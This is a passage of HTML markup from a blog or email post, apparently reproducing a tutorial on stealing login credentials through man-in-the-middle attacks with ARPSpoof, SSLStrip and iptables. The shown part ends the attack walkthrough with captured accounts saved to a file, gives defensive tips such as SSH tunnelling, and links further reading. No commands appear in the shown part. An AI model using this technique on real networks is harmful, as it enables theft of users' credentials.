/>All accounts found will be added to a file called 'accounts.txt' for your viewing pleasure, arranged alphabetically by the website they belong to.<br /><br />And that's that!<br /><br /><span style="font-size: small;"><span style="color: red;"><b>What can I do to prevent this attack from hurting me?</b></span></span><br /><br />There's not a whole lot you can do, though there are some defenses outlined <a href="http://en.wikipedia.org/wiki/ARP_spoofing#Defenses" style="color: #417394; text-decoration: none;" target="_blank">here</a>.<br /><br />My suggestion is this: If you're ever on a public network, or if your personal wifi is unsecured, don't use that network to log into any of your personal accounts, unless you've got another defense in place.<br /><br />One fun trick is to use SSH tunneling to route your traffic. If you've got an account on a secure box out in the internet somewhere (for example, a linux system hosted on the cloud), you can create a SSH tunnel to that box and route your traffic through the tunnel. That way, no matter who is listening in on your connection, all traffic is encrypted and there's little they can do to intercept it.<br /><br />Of course, SSH tunneling is a different tutorial for a different day.<br /><br />Well, class, I hope this tutorial has been informational and fun for all involved! Take care, and happy hacking!</blockquote><br /><div style="color: red;"><br /></div><div><span style="color: red;">Note:</span> <a href="http://windowsecurity.com/articles/Understanding-Man-in-the-Middle-Attacks-ARP-Part1.html" target="_blank">For further reading</a>.<br />        <a href="http://securitymusings.com/article/752/sniffing-networks-part-1-8023-and-mac-addresses" target="_blank">Some extra info abt MITM</a> </div>-- <br /><div dir="ltr"><div class="MsoNormal">Regards,</div><div class="MsoNormal">Hardeep Singh</div><div class="MsoNormal">(<a href="http://www.fb.com/h4rdeep">www.fb.com/h4rdeep</a>)</div></div></div></div></div></div></div>

Stealing Credentials via MITM Attacks -- ARPSpoof + SSLStrip + IPTables

Greetings, ladies and gentlemen. Today we'll be learning about a couple of interesting tools and how they can be used to steal data from...